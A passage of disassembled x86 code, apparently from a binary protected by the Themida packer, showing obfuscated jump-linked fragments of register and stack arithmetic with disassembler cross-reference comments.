; ---------------------------------------------------------------------------
loc_5976BD: ; CODE XREF: Themida_:0058C5BEj
or ebx, 9661758h
and ebx, 2055173Dh
and ebx, 601254AFh
jmp loc_58F160
; ---------------------------------------------------------------------------
loc_5976D4: ; CODE XREF: sub_59196D+61A6j
add ecx, 0AA20915h
pop esi
pop esi
jmp loc_597B18
; ---------------------------------------------------------------------------
loc_5976E1: ; CODE XREF: sub_59196D-3014j
pop ecx
push ecx
jmp loc_598536
; ---------------------------------------------------------------------------
loc_5976E8: ; CODE XREF: sub_59196D-34B8j
push ecx
push [esp+14h+var_12+2]
jmp loc_58D368
; ---------------------------------------------------------------------------
loc_5976F2: ; CODE XREF: sub_59196D+281Ej
pop edx
xor ebx, [esp+34h+var_36+2]
jmp loc_59319E
; ---------------------------------------------------------------------------
loc_5976FB: ; CODE XREF: sub_59196D+13A3j
sub ebp, edx
pop edx
sub ebp, edx
add ebp, 7DD45C4Fh
jmp loc_58C566
; ---------------------------------------------------------------------------
push dword ptr [esp+0]
mov eax, [esp+4+var_4]
add esp, 4
push edi
push esp
pop edi
push eax
jmp loc_5915E9
; ---------------------------------------------------------------------------
loc_59771D: ; CODE XREF: sub_59196D-2957j
mov [esp-10h+arg_C], esi
mov eax, [esp-10h+arg_C]
add esp, 4
pop esi
dec eax
not eax
jmp loc_593BDC
; ---------------------------------------------------------------------------
loc_597732: ; CODE XREF: sub_59196D-505Aj
mov ebp, 51BA22AAh
mov edx, ebp
mov ebp, [esp+3Eh+var_40+2]
add esp, 4
push 0C7464B54h
jmp loc_58B7BC
; ---------------------------------------------------------------------------
loc_59774C: ; CODE XREF: sub_59196D+3B7Fj
mov ebp, 47640E18h
add ebp, 0BEBB48B9h
jmp loc_595C05
; ---------------------------------------------------------------------------
loc_59775C: ; CODE XREF: sub_59196D+2C1Fj
add esp, 4
jmp loc_58FC40
; ---------------------------------------------------------------------------
loc_597764: ; CODE XREF: sub_59196D-475Cj
pop esi
sub esi, 2C230573h
dec esi
xor esi, 4BC47C40h
jp loc_58EE7E
neg esi
jo loc_592E01
jmp loc_5901AD
; ---------------------------------------------------------------------------
loc_597785: ; CODE XREF: sub_59196D-37D3j
mov edi, esp
sub esp, 4
mov [esp+14h+var_16+2], ebx
jmp loc_597424
; ---------------------------------------------------------------------------
loc_597795: ; CODE XREF: sub_59196D+6A8Fj
pop [esp+14h+var_16+2]
pop esp
mov [esp+0Ch+var_C], eax
mov ah, 38h
jmp loc_597B60
; ---------------------------------------------------------------------------
loc_5977A3: ; CODE XREF: sub_59196D-34FFj
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_5977A8: ; CODE XREF: sub_59196D+1622j
sub esi, eax
pop eax
xor eax, esi
mov esi, [esp+18h+var_1A+2]
push esi
jmp loc_591C35
; ---------------------------------------------------------------------------
loc_5977B6: ; CODE XREF: sub_59196D-4359j
pop edx
push edi
mov edi, 4
sub ebp, edi
pop edi
xchg ebp, [esp+0]
mov esp, [esp+0]
mov [esp+0], esi
mov esi, 65CE7299h
jmp loc_595069
; ---------------------------------------------------------------------------
loc_5977D3: ; CODE XREF: sub_59196D+1252j
add ebx, ecx
add ebx, 74B36A0Fh
mov [ebx], eax
mov ebx, [esp+18h+var_1A+2]
add esp, 4
mov ecx, [esp+14h+var_16+2]
jmp loc_592C50
; ---------------------------------------------------------------------------
loc_5977EE: ; CODE XREF: sub_59196D+48BBj
mov ebp, 71F9072Eh
push edx
mov edx, 1ED30727h
jmp loc_59782F
; ---------------------------------------------------------------------------
loc_5977FE: ; CODE XREF: sub_59196D-3AEAj
add ecx, 630755B0h
mov [edi+24h], ecx
pop ecx
pop edx
xor edx, edx
push 6997h
mov [esp+2Ch+var_2E+2], esi
push esp
pop esi
add esi, 4
sub esi, 4
push esi
push [esp+30h+var_2E+2]
push [esp+34h+var_36+2]
pop esi
jmp loc_597926
; ---------------------------------------------------------------------------
loc_59782F: ; CODE XREF: sub_59196D+5E8Cj
neg edx
or edx, 364D4E3Fh
neg edx
add edx, 68F75C89h
jmp loc_597E2E
; ---------------------------------------------------------------------------
loc_597844: ; CODE XREF: sub_59196D-30D0j
push edi
push ecx
push 26A019Dh
jmp loc_5924C7
; ---------------------------------------------------------------------------
loc_597850: ; CODE XREF: sub_59196D+5C9Cj
xor al, 37h
mov bl, al
push [esp+2Eh+var_2E]
pop eax
jmp loc_597FBC
; ---------------------------------------------------------------------------
loc_59785D: ; CODE XREF: sub_59196D+12C6j
pop edx
add edx, 4
push 2AF3h
mov [esp+0Ah+var_C+2], eax
sub esp, 4
jmp loc_598185
; ---------------------------------------------------------------------------
loc_597877: ; CODE XREF: sub_59196D+4507j
add esi, 4
xchg esi, [esp+44h+var_44]
jmp loc_593C43
; ---------------------------------------------------------------------------
loc_597882: ; CODE XREF: sub_59196D-201Aj
; sub_59196D+3AE1j
jmp loc_59416A
; ---------------------------------------------------------------------------
loc_597887: ; CODE XREF: sub_59196D+24C9j
push edx
mov edx, 2B404F1Fh
shr edx, 7
jmp loc_58B812
; ---------------------------------------------------------------------------
loc_597895: ; CODE XREF: sub_59196D+60D2j
push esi
mov esi, 3DBC0580h
jmp loc_59820C
; ---------------------------------------------------------------------------
loc_5978A0: ; CODE XREF: sub_59196D-5521j
; sub_59196D+39D0j
push [esp-0Ch+arg_8]
pop edi
push 4456h
mov [esp-8+arg_4], eax
mov eax, esp
add eax, 4
add eax, 4
xor eax, [esp-8+arg_4]
xor [esp-8+arg_4], eax
xor eax, [esp-8+arg_4]
pop esp
xor ebx, eax
push small word ptr [eax]
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_5978CA: ; CODE XREF: sub_59196D-5B59j
; sub_59196D+2A81j
sub bl, al
pop eax
sub bl, 33h
xor bl, 0A2h
sub esp, 4
mov [esp+2Eh+var_2E], eax
push edx
mov dh, bl
mov ah, dh
pop edx
mov dh, ah
mov eax, [esp+2Eh+var_2E]
add esp, 4
pop ebx
xor al, dh
mov dx, word ptr [esp+26h+var_26]
add esp, 2
sub esp, 2
mov word ptr [esp+26h+var_26], dx
mov dl, 52h
add bl, 0EFh
jmp loc_58BD1C
; ---------------------------------------------------------------------------
loc_597908: ; CODE XREF: sub_59196D-2979j
push edx
push 135C6F1Dh
mov edx, [esp-0Ch+arg_8]
add esp, 4
push ecx
jmp loc_58C0F8
; ---------------------------------------------------------------------------
loc_59791D: ; CODE XREF: sub_59196D-60DCj
sub al, 7Dh
mov dh, al
jmp loc_58EEE5
; ---------------------------------------------------------------------------
loc_597926: ; CODE XREF: sub_59196D+5EBDj
sub esp, 4
jmp loc_58FE42
; ---------------------------------------------------------------------------
loc_59792E: ; CODE XREF: sub_59196D+314j
add esp, 4
jmp sub_58CD7E
; ---------------------------------------------------------------------------
loc_597939: ; CODE XREF: sub_59196D-3F7Aj
xor edx, [esp+0Ch+var_C]
pop esp
jmp loc_591317
; ---------------------------------------------------------------------------
loc_597942: ; CODE XREF: sub_59196D-5C2Aj
sub esp, 4
mov [esp+2Ah+var_2A], ecx
push edi
push esp
jmp loc_5933FB
; ---------------------------------------------------------------------------
loc_597952: ; CODE XREF: sub_59196D+1EDDj
push edx
jmp loc_58EC56
; ---------------------------------------------------------------------------
loc_597958: ; CODE XREF: sub_59196D-4401j
pop ebx
push [esp+24h+var_26+2]
jmp loc_58E6B7
; ---------------------------------------------------------------------------
loc_597961: ; CODE XREF: sub_59196D+57F6j
neg edx
shl edx, 7
jmp loc_58C84D
; ---------------------------------------------------------------------------
loc_59796B: ; CODE XREF: sub_59196D+37BBj
pop esi
jmp loc_5903DA
; ---------------------------------------------------------------------------
loc_597971: ; CODE XREF: sub_59196D+6A5Ej
push ebx
mov ebx, esp
jmp loc_58C4EF
; ---------------------------------------------------------------------------
loc_597979: ; CODE XREF: sub_59196D-4944j
mov ebx, esp
push 4588h
mov [esp+20h+var_22+2], ecx
jmp loc_58CC63
; ---------------------------------------------------------------------------
loc_597988: ; CODE XREF: sub_59196D-60F0j
shl esi, 3
jp loc_596662
sub esp, 4
jmp loc_59399E
; ---------------------------------------------------------------------------
loc_59799C: ; CODE XREF: sub_59196D+40F8j
mov [esp+20h+var_22+2], edi
mov edi, 51EA0D23h
jmp loc_58E9A6
; ---------------------------------------------------------------------------
loc_5979A9: ; CODE XREF: sub_59196D+4035j
; sub_59196D+5A13j
pop edx
pop [esp+2Eh+var_2E]
pop esp
push edi
mov edi, 7B053782h
xor edi, 534F21A9h
shl edi, 3
neg edi
sub edi, 491E7466h
not edi
sub edi, 8B6F25BBh
jmp loc_5931AF
; ---------------------------------------------------------------------------
loc_5979D2: ; CODE XREF: sub_58C816+3A03j
mov ebx, 16610FB1h
sub ebx, 16610FB1h
mov edx, ebx
pop ebx
sub edx, 50D92956h
sub edx, edi
add edx, 50D92956h
xchg edx, edi
pop edx
jmp loc_591082
; ---------------------------------------------------------------------------
loc_5979F6: ; CODE XREF: sub_59196D+272Aj
pop eax
mov ecx, [esp-4+arg_0]
push ebx
push esp
pop ebx
add ebx, 4
add ebx, 4
xchg ebx, [esp+0]
pop esp
push ebx
mov ebx, 5AB76B11h
xchg esi, ebx
jmp loc_58F254
; ---------------------------------------------------------------------------
loc_597A17: ; CODE XREF: sub_59196D-5B26j
add esi, 4
push edx
mov edx, 4
add esi, edx
pop edx
push esi
push [esp+36h+var_32]
push [esp+3Ah+var_3C+2]
pop esi
jmp loc_58E06D
; ---------------------------------------------------------------------------
loc_597A34: ; CODE XREF: sub_59196D-478Aj
; sub_59196D+13Cj
sub ecx, 35BFA80h
add edi, ecx
pop ecx
add edi, ecx
jmp loc_597895
; ---------------------------------------------------------------------------
loc_597A44: ; CODE XREF: sub_59196D-4617j
mov ebp, [esp+4Eh+var_4E]
jmp loc_592D8C
; ---------------------------------------------------------------------------
loc_597A4C: ; CODE XREF: sub_59196D-6045j
add [esp+1Ch+var_1E+2], 4
jmp loc_597D10
; ---------------------------------------------------------------------------
loc_597A58: ; CODE XREF: sub_59196D-37ECj
mov edx, [esp+0Ch+var_C]
sub esp, 4
mov [esp+10h+var_12+2], ecx
mov ecx, esp
jmp loc_594830
; ---------------------------------------------------------------------------
loc_597A68: ; CODE XREF: sub_59196D+13C8j
mov ecx, esp
push esi
mov esi, 33801EEAh
xor esi, 31FA187Dh
shl esi, 3
shr esi, 2
dec esi
or esi, 3B822616h
sub esi, 3FF62F3Bh
add ecx, esi
pop esi
jmp loc_590063
; ---------------------------------------------------------------------------
loc_597A91: ; CODE XREF: sub_59196D+4ADj
mov edx, 1BAC68D1h
xor edx, 280F607Ch
add edx, 0FFADF35Ah
add ebp, edx
pop edx
xor eax, ebp
jmp loc_59596A
; ---------------------------------------------------------------------------
loc_597AAC: ; CODE XREF: sub_59196D+4E2Bj
pop ebp
jmp loc_5971C8
; ---------------------------------------------------------------------------
loc_597AB2: ; CODE XREF: sub_59196D+5A68j
sub ecx, edx
mov edx, [esp+6+var_8+2]
push edx
mov edx, esp
add edx, 4
add edx, 4
jmp loc_591507
; ---------------------------------------------------------------------------
loc_597ACB: ; CODE XREF: sub_59196D+3C84j
pop eax
jmp sub_58B8EB
; ---------------------------------------------------------------------------
loc_597AD1: ; CODE XREF: sub_59196D+6ABBj
mov ebp, [esp+1Ch+var_1E+2]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+20h+var_22+2]
pop esp
or edx, eax
shl edx, 1
push ebp
jmp loc_596EAA
; ---------------------------------------------------------------------------
loc_597AEE: ; CODE XREF: sub_59196D-540Cj
push edx
mov edx, 20026218h
sub ebp, edx
pop edx
add ebp, 78A47ECEh
add ebp, ecx
sub ebp, 78A47ECEh
push ecx
jmp loc_595729
; ---------------------------------------------------------------------------
loc_597B0B: ; CODE XREF: sub_59196D+2972j
sub ecx, 0AA20915h
add ecx, esi
jmp loc_5976D4
; ---------------------------------------------------------------------------
loc_597B18: ; CODE XREF: sub_59196D+5D6Fj
xchg ecx, [esp+4+var_4]
pop esp
push edi
mov edi, esp
add edi, 4
jmp loc_5951B3
; ---------------------------------------------------------------------------
loc_597B2A: ; CODE XREF: sub_59196D+68E2j
pop esi
jmp sub_590F7A
; ---------------------------------------------------------------------------
loc_597B30: ; CODE XREF: sub_59196D+4664j
push ecx
mov ecx, 4
add ebp, ecx
jmp loc_58C067
; ---------------------------------------------------------------------------
loc_597B3D: ; CODE XREF: sub_59196D-CB6j
mov eax, [esp+24h+var_26+2]
add esp, 4
sub eax, edi
mov edi, [esp+20h+var_22+2]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp+24h+var_26+2]
jmp loc_58CA4C
; ---------------------------------------------------------------------------
loc_597B60: ; CODE XREF: sub_59196D+5E31j
dec ah
jge loc_58ED58
xor ah, 51h
jmp loc_59718D
; ---------------------------------------------------------------------------
sub esp, 4
loc_597B73: ; CODE XREF: sub_59196D+361Cj
sub ax, 4194h
sub ax, di
push cx
push ebx
mov bx, 4194h
jmp loc_5983B2
; ---------------------------------------------------------------------------
push [esp+16h+var_16]
push [esp+1Ah+var_1A]
pop ecx
add esp, 4
sub esp, 4
mov [esp+1Ah+var_1A], eax
sub esp, 4
mov [esp+1Eh+var_1E], esp
add [esp+1Eh+var_1E], 4
jmp loc_596E5F
; ---------------------------------------------------------------------------
loc_597BAE: ; CODE XREF: sub_59196D+240Fj
pop ebx
jmp loc_59467A
; ---------------------------------------------------------------------------
loc_597BB4: ; CODE XREF: sub_59196D-510Aj
mov dx, word ptr [esp+10h+var_12+2]
sub esp, 4
mov [esp+14h+var_16+2], ecx
push esp
pop ecx
add ecx, 4
add ecx, 2
push ecx
push [esp+18h+var_16+2]
jmp loc_596972
; ---------------------------------------------------------------------------
loc_597BD3: ; CODE XREF: sub_59196D-437Cj
add ecx, 4
xchg ecx, [esp+1Ch+var_1E+2]
pop esp
push 3675h
mov [esp+1Ch+var_1E+2], ecx
jmp loc_58B5B9
; ---------------------------------------------------------------------------
loc_597BE7: ; CODE XREF: sub_59196D-3D62j
mov ebp, 52824DA2h
push 2AB4h
mov [esp+24h+var_26+2], ebx
mov ebx, 792811FDh
jmp loc_5939A4
; ---------------------------------------------------------------------------
loc_597BFE: ; CODE XREF: sub_59196D+CBFj
sub esp, 4
mov [esp+42h+var_44+2], edi
mov edi, 2
add ecx, edi
pop edi
jmp loc_590056
; ---------------------------------------------------------------------------
loc_597C11: ; CODE XREF: sub_59196D+68BAj
pop eax
xchg ecx, [esp+3Ah+var_3C+2]
mov esp, [esp+3Ah+var_3C+2]
cmp cx, ax
pushf
jmp loc_58F78B
; ---------------------------------------------------------------------------
loc_597C21: ; CODE XREF: sub_59196D+1F78j
push 0C8Fh
jmp loc_58FB3E
; ---------------------------------------------------------------------------
loc_597C2B: ; CODE XREF: sub_59196D+15F8j
sub ebx, 3ED61EB1h
add ebx, edi
jmp sub_58F42B
; ---------------------------------------------------------------------------
loc_597C38: ; DATA XREF: Themida_:0058B104o
lodsd
xor eax, ebx
jmp loc_595742
; ---------------------------------------------------------------------------
loc_597C40: ; CODE XREF: sub_59196D+30C3j
mov edx, esp
add edx, 4
add edx, 4
xor edx, [esp+14h+var_16+2]
xor [esp+14h+var_16+2], edx
xor edx, [esp+14h+var_16+2]
pop esp
add [esp+10h+var_12+2], eax
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
neg byte ptr [esp+14h+var_16+2]
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_597C6A: ; CODE XREF: sub_59196D+2D99j
add bl, 0A7h
xor bl, 8Bh
sub esp, 4
jmp loc_58D09B
; ---------------------------------------------------------------------------
push small word ptr [edx]
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_597C83: ; CODE XREF: sub_59196D+30A0j
inc dl
add dl, 0CDh
sub ch, dl
jmp loc_593180
; ---------------------------------------------------------------------------
loc_597C8F: ; CODE XREF: sub_59196D-3291j
mov ecx, [esp+3Eh+var_40+2]
add esp, 4
and eax, edi
mov edi, [esp+3Ah+var_3C+2]
add esp, 4
or edx, eax
jmp loc_592686
; ---------------------------------------------------------------------------
loc_597CAA: ; CODE XREF: sub_59196D-3FE5j
push esp
pop ebp
add ebp, 4
add ebp, 4
xchg ebp, [esp+18h+var_1A+2]
pop esp
shr eax, 0Bh
xor ecx, eax
sub esp, 4
mov [esp+18h+var_1A+2], edi
push esp
pop edi
push esi
jmp loc_590651
; ---------------------------------------------------------------------------
loc_597CCF: ; CODE XREF: sub_59196D-5A0Fj
and edx, 6E70608Eh
and edx, 29074C85h
push ecx
mov ecx, 15E60F41h
and edx, ecx
pop ecx
sub edx, 0FFFFFFFEh
sub esi, 29E20168h
jmp loc_591A27
; ---------------------------------------------------------------------------
loc_597CF5: ; CODE XREF: sub_59196D+30E7j
and bh, 1Fh
jmp loc_596C79
; ---------------------------------------------------------------------------
loc_597CFD: ; CODE XREF: sub_59196D-3C4Fj
push esp
pop edi
push ecx
mov ecx, 4
add edi, 0BEC7ABDh
jmp loc_5956FE
; ---------------------------------------------------------------------------
loc_597D10: ; CODE XREF: sub_59196D+60E6j
mov edx, [esp+1Ch+var_1E+2]
add esp, 4
jmp loc_595FA9
; ---------------------------------------------------------------------------
lodsb
sub al, 0BBh
jmp sub_5917FA
; ---------------------------------------------------------------------------
loc_597D23: ; CODE XREF: sub_59196D+3DD0j
sub ebx, 39BA0C49h
xor ebx, 576A136Ah
sub ebp, ebx
pop ebx
add ebp, ecx
jmp loc_58F3F8
; ---------------------------------------------------------------------------
loc_597D39: ; CODE XREF: sub_59196D-1400j
push [esp+2Ah+var_2A]
jmp loc_5918A7
; ---------------------------------------------------------------------------
loc_597D41: ; CODE XREF: sub_59196D-1432j
mov edi, ecx
mov esi, edi
pop edi
pop ecx
shr esi, 2
shr esi, 7
jmp loc_58EE4B
; ---------------------------------------------------------------------------
loc_597D52: ; CODE XREF: sub_59196D+3841j
mov esp, [esp+18h+var_1A+2]
btc word ptr [esp+18h+var_1A+2], ax
pushf
jmp loc_5946E6
; ---------------------------------------------------------------------------
loc_597D60: ; CODE XREF: sub_59196D-398Dj
add [esp+32h+var_2E], 25354F66h
pop ebx
sub [esp+2Eh+var_2E], eax
sub esp, 4
mov [esp+32h+var_32], ebx
jmp loc_593FAA
; ---------------------------------------------------------------------------
loc_597D7A: ; CODE XREF: sub_59196D+25B2j
mov esi, 78F57ED8h
sub esi, ebx
pop ebx
mov eax, esi
mov esi, [esp+14h+var_16+2]
push edx
mov edx, esp
jmp loc_596E06
; ---------------------------------------------------------------------------
loc_597D8F: ; CODE XREF: sub_58C376+20F0j
add dh, al
add dh, 24h
pop eax
sub dh, al
push eax
jmp loc_58B791
; ---------------------------------------------------------------------------
loc_597D9D: ; DATA XREF: Themida_:0058B120o
mov cx, word ptr [esp+18h+var_1A+2]
push 5FAEh
mov [esp+1Ch+var_1E+2], ecx
push esp
pop ecx
sub esp, 4
mov [esp+20h+var_22+2], esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp+20h+var_22+2]
pop esp
mov [esp+1Ch+var_1E+2], ebx
mov ebx, 4FAE7A78h
inc ebx
jmp loc_58D4F4
; ---------------------------------------------------------------------------
loc_597DCE: ; CODE XREF: sub_59196D+67B5j
mov [esp+1Ch+var_1E+2], eax
mov eax, 0B7E0BFFh
sub [esp+1Ch+var_16+2], eax
pop eax
add [esp+18h+var_16+2], edi
add [esp+18h+var_16+2], 0B7E0BFFh
sub [esp+18h+var_16+2], 46173E99h
pop edi
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_597DF5: ; CODE XREF: sub_59196D-3522j
sub ecx, 3AB8D768h
add edi, ecx
pop ecx
add edi, 4
jmp loc_593508
; ---------------------------------------------------------------------------
loc_597E06: ; CODE XREF: sub_59196D-2F13j
push ecx
jmp loc_58F2AB
; ---------------------------------------------------------------------------
loc_597E0C: ; CODE XREF: sub_59196D+905j
; sub_59196D+DC2j
push esi
jmp loc_593596
; ---------------------------------------------------------------------------
loc_597E12: ; CODE XREF: sub_59196D-4AB6j
mov edx, 133F40B5h
not edx
add edx, 7DC30CB1h
sub edx, 6A83CBF7h
add esi, edx
pop edx
push edx
jmp loc_59407C
; ---------------------------------------------------------------------------
loc_597E2E: ; CODE XREF: sub_59196D+5ED2j
or ebp, edx
pop edx
or ebp, 26A632FBh
add ebp, 88008005h
add esi, ebp
pop ebp
sub esi, 4
jmp loc_58EECE
; ---------------------------------------------------------------------------
loc_597E48: ; CODE XREF: Themida_:0058FE1Cj
shr al, 7
jz loc_58C633
neg al
jp loc_591D40
mov bl, dh
mov cl, dl
loc_597E5D: ; CODE XREF: Themida_:0058FE2Dj
; sub_59196D+5581j
xor dh, al
xor al, dh
push small 32C7h
jmp loc_594BA1
; ---------------------------------------------------------------------------
loc_597E6A: ; CODE XREF: sub_59196D+4590j
sub al, 8Fh
pop ecx
add al, 1Dh
sub al, bl
jmp loc_590540
; ---------------------------------------------------------------------------
mov cx, word ptr [esp+1Ah+var_1A]
push eax
push 2BD2h
sub esp, 4
mov [esp+26h+var_26], esp
add [esp+26h+var_26], 4
pop [esp+26h+var_26]
add [esp+22h+var_22], 4
jmp loc_58FF86
; ---------------------------------------------------------------------------
loc_597E9C: ; CODE XREF: sub_59196D+1157j
mov [esp+24h+var_26+2], ebx
mov bh, 6Ch
not bh
inc bh
and bh, 0F5h
sub bh, 1Ah
push edx
mov dh, 0C5h
not dh
neg dh
dec dh
sub esp, 4
mov [esp+2Ch+var_2E+2], ebx
push ecx
jmp loc_596B78
; ---------------------------------------------------------------------------
loc_597EC3: ; CODE XREF: sub_59196D+1E77j
mov [esp+44h+var_44], esp
push ecx
mov ecx, 4
add [esp+48h+var_44], ecx
pop ecx
pop ebp
push edx
mov edx, 5ED507DAh
not edx
shr edx, 8
sub edx, 0A12AF4h
add ebp, edx
pop edx
sub esp, 4
mov [esp+44h+var_44], eax
mov eax, 2
add ebp, eax
mov eax, [esp+44h+var_44]
jmp loc_58B738
; ---------------------------------------------------------------------------
loc_597EFE: ; CODE XREF: sub_59196D+208Bj
mov bh, ah
push ecx
push eax
mov ah, bh
mov cl, ah
pop eax
jmp loc_58EA5F
; ---------------------------------------------------------------------------
loc_597F0C: ; CODE XREF: sub_59196D+1C1Ej
mov [esp+2Eh+var_2E], ebp
push edi
jmp loc_58C2CD
; ---------------------------------------------------------------------------
loc_597F15: ; CODE XREF: sub_59196D-377Ej
push ecx
not dword ptr [esp+0]
mov ecx, [esp+0]
push edi
mov edi, esp
jmp loc_59397B
; ---------------------------------------------------------------------------
loc_597F24: ; CODE XREF: sub_59196D+2354j
sub edx, eax
add edx, 4BDD51CEh
mov eax, [esp+1Ch+var_1E+2]
add esp, 4
push edx
pop eax
push [esp+18h+var_1A+2]
mov edx, [esp+1Ch+var_1E+2]
add esp, 4
jmp loc_59085C
; ---------------------------------------------------------------------------
loc_597F48: ; CODE XREF: sub_59196D-5453j
add esp, 4
pop [esp+0Ah+var_C+2]
pop esp
push 10A7h
mov [esp+6+var_8+2], ebp
mov ebp, 4F1C6558h
push ecx
mov ecx, 0EE15503h
push ebx
mov ebx, 4CB0261Fh
sub eax, ebx
pop ebx
sub eax, ecx
add eax, 4CB0261Fh
pop ecx
add eax, 4CD95517h
jmp loc_590C76
; ---------------------------------------------------------------------------
loc_597F7D: ; CODE XREF: sub_59196D+21D6j
mov ecx, [esp+14h+var_16+2]
sub esp, 4
mov [esp+18h+var_1A+2], ecx
push esp
pop ecx
add ecx, 4
add ecx, 4
jmp loc_5936DE
; ---------------------------------------------------------------------------
loc_597F99: ; CODE XREF: sub_59196D-3003j
pop esp
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_597F9F: ; CODE XREF: sub_59196D+2BDCj
mov dl, cl
mov ecx, [esp+0]
add esp, 4
sub dl, 12h
add dl, al
add dl, 12h
pop eax
not dl
inc dl
jmp loc_58D0D5
; ---------------------------------------------------------------------------
loc_597FBC: ; CODE XREF: sub_59196D+5EEBj
add esp, 4
sub al, 81h
sub al, bl
push edx
mov dl, 2Eh
sub dl, 0ADh
add al, dl
pop edx
mov bx, word ptr [esp+2Ah+var_2A]
jmp loc_58E21D
; ---------------------------------------------------------------------------
loc_597FD8: ; CODE XREF: sub_59196D-4B61j
mov esp, [esp+20h+var_22+2]
push eax
mov eax, esp
add eax, 4
sub eax, 4
push eax
push [esp+28h+var_26+2]
pop eax
pop [esp+28h+var_2A+2]
pop esp
mov [esp+20h+var_22+2], edx
push eax
mov eax, 26A226AEh
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp+28h+var_2A+2]
pop esp
mov [esp+24h+var_26+2], ebp
jmp loc_593DD1
; ---------------------------------------------------------------------------
loc_598014: ; CODE XREF: sub_59196D+3633j
add ebp, 4
xchg ebp, [esp+0]
pop esp
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp+0]
pop esp
push edx
push 25A8h
mov [esp+3Ch+var_3C], esp
add [esp+3Ch+var_3C], 4
pop edx
jmp loc_594AA1
; ---------------------------------------------------------------------------
loc_598041: ; CODE XREF: sub_59196D-2A87j
jmp loc_58D838
; ---------------------------------------------------------------------------
loc_598046: ; CODE XREF: sub_59196D:loc_593B76j
xor edx, 380639FFh
jge loc_5938AE
jmp loc_596AB2
; ---------------------------------------------------------------------------
push [esp+6+var_8+2]
mov edi, ecx
loc_59805C: ; CODE XREF: sub_59196D+31B2j
jmp loc_595241
; ---------------------------------------------------------------------------
loc_598061: ; CODE XREF: sub_59196D+C0Fj
mov ebx, esp
push edx
push ebp
mov ebp, 4
mov edx, ebp
pop ebp
add ebx, edx
pop edx
add ebx, 4
xor ebx, [esp+10h+var_12+2]
xor [esp+10h+var_12+2], ebx
xor ebx, [esp+10h+var_12+2]
pop esp
push small 2D9Bh
mov [esp+0], bx
push ebx
jmp loc_58DFA6
; ---------------------------------------------------------------------------
loc_59808E: ; CODE XREF: sub_59196D-5D1Fj
; Themida_:0058CA6Fj
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_598093: ; CODE XREF: sub_59196D+3BF9j
pop ebp
add ebp, 4
sub ebp, 4
xchg ebp, [esp+20h+var_22+2]
pop esp
mov [esp+1Ch+var_1E+2], ebx
mov ebx, 4
add ebp, ebx
jmp loc_59055B
; ---------------------------------------------------------------------------
loc_5980B3: ; DATA XREF: Themida_:0058B114o
mov cx, word ptr [esp+1Ch+var_1E+2]
jmp loc_5971F6
; ---------------------------------------------------------------------------
loc_5980BC: ; CODE XREF: sub_59196D-331Cj
add esi, 1B657C3Ch
add edx, esi
pop esi
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_5980CA: ; CODE XREF: sub_59196D+202Cj
xchg eax, [esp+2+var_4+2]
mov esp, [esp+2+var_4+2]
mov ax, word ptr [esp+2+var_4+2]
sub esp, 4
mov [esp+6+var_8+2], edi
mov edi, esp
jmp loc_593FF4
; ---------------------------------------------------------------------------
loc_5980E4: ; CODE XREF: sub_59196D+523Fj
xor esi, 10956C1Eh
push ebx
jmp loc_5906A0
; ---------------------------------------------------------------------------
loc_5980F0: ; CODE XREF: sub_59196D+5269j
push ebp
mov ebp, 316F1409h
sub edx, ebp
jmp loc_596A84
; ---------------------------------------------------------------------------
loc_5980FD: ; CODE XREF: sub_59196D-33ECj
add ebp, eax
pop eax
pop eax
add ebp, 2
xchg ebp, [esp+1Ch+var_1E+2]
jmp loc_59583F
; ---------------------------------------------------------------------------
loc_59810F: ; CODE XREF: sub_59196D+3CEj
mov esp, [esp+24h+var_26+2]
jmp loc_5915C7
; ---------------------------------------------------------------------------
loc_598117: ; CODE XREF: sub_59196D+516Dj
add [esp+34h+var_2E+2], eax
pop eax
sub esp, 4
jmp loc_597DCE
; ---------------------------------------------------------------------------
loc_598127: ; CODE XREF: sub_59196D+4513j
push 175C4C1Dh
pop edx
xor edx, 7E776F14h
neg edx
not edx
jmp loc_59139A
; ---------------------------------------------------------------------------
loc_59813C: ; CODE XREF: sub_59196D+42CDj
push ecx
jmp loc_5935A0
; ---------------------------------------------------------------------------
loc_598142: ; CODE XREF: sub_59196D+5197j
add esp, 4
jmp loc_5929D1
; ---------------------------------------------------------------------------
loc_59814D: ; CODE XREF: sub_59196D+576Cj
mov edx, eax
push edx
pop edi
mov edx, [esp+20h+var_22+2]
add esp, 4
pop eax
xor [esp+18h+var_16+2], edi
pop edi
pop edi
xor edi, 292A2882h
pop ebp
and eax, edi
push [esp+0Ch+var_C]
jmp loc_58D41E
; ---------------------------------------------------------------------------
loc_59816F: ; CODE XREF: sub_59196D+286Fj
mov edx, ecx
pop ecx
jmp loc_590427
; ---------------------------------------------------------------------------
loc_598177: ; CODE XREF: sub_59196D-21F2j
push ebx
push ebp
jmp loc_591D89
; ---------------------------------------------------------------------------
loc_59817E: ; CODE XREF: sub_59196D+B38j
mov eax, esp
jmp loc_58FFE8
; ---------------------------------------------------------------------------
loc_598185: ; CODE XREF: sub_59196D+5F05j
mov [esp+0], edx
push 45FC538Bh
pop edx
and edx, 5A801858h
jmp loc_58EBFE
; ---------------------------------------------------------------------------
loc_598199: ; CODE XREF: sub_59196D+116Cj
mov ecx, 58744531h
jmp loc_58F7EA
; ---------------------------------------------------------------------------
loc_5981A3: ; CODE XREF: sub_59196D-414Aj
pop esi
xchg eax, [esp+3Eh+var_40+2]
pop esp
mov cx, word ptr [esp+3Ah+var_3C+2]
push 1B3Dh
mov [esp+3Eh+var_40+2], ebp
jmp loc_58BEBF
; ---------------------------------------------------------------------------
loc_5981B9: ; CODE XREF: sub_59196D+5BDj
pop [esp+1Ch+var_1E+2]
add [esp+18h+var_1A+2], 4
jmp loc_5938EA
; ---------------------------------------------------------------------------
lodsb
jmp loc_5911E9
; ---------------------------------------------------------------------------
loc_5981CE: ; CODE XREF: Themida_:0058FC04j
